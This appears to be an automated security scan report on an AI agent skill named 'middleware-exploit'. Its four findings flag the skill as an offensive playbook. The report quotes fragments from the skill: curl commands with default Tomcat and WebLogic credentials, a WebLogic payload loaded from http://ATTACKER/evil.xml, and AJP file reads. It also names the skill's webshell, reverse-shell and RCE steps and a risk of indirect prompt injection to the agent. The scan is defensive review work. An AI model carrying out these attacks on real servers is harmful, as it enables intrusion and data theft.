middleware-exploit

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). The prompt embeds plaintext credentials and password placeholders directly into command examples (e.g., curl -u 'tomcat:tomcat' and curl -u weblogic:PASSWORD), which instructs the agent to include secrets verbatim in generated commands—an exfiltration risk.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This content is a clear offensive exploitation playbook: it instructs credential brute‑forcing, deploying WAR/JSP webshells, reverse shells, remote code execution (RCE) exploits, AJP-based file reads, and hosting/serving malicious payloads—activities that enable unauthorized system compromise, persistent backdoors, and data exfiltration.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 0.90). The SKILL.md and references/middleware-details.md explicitly instruct fetching and reading arbitrary remote target content (e.g., curl to http://TARGET/..., ajpShooter.py to read /WEB-INF/web.xml, and loading remote payloads like http://ATTACKER/evil.xml), so the agent would ingest untrusted third‑party pages/files whose contents can directly change its exploitation actions.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill includes runtime exploit steps that force the target to fetch and execute attacker-hosted payloads — e.g., WebLogic's FileSystemXmlApplicationContext('http://ATTACKER/evil.xml') requires hosting and fetching http://ATTACKER/evil.xml which supplies remote code/instructions to be executed.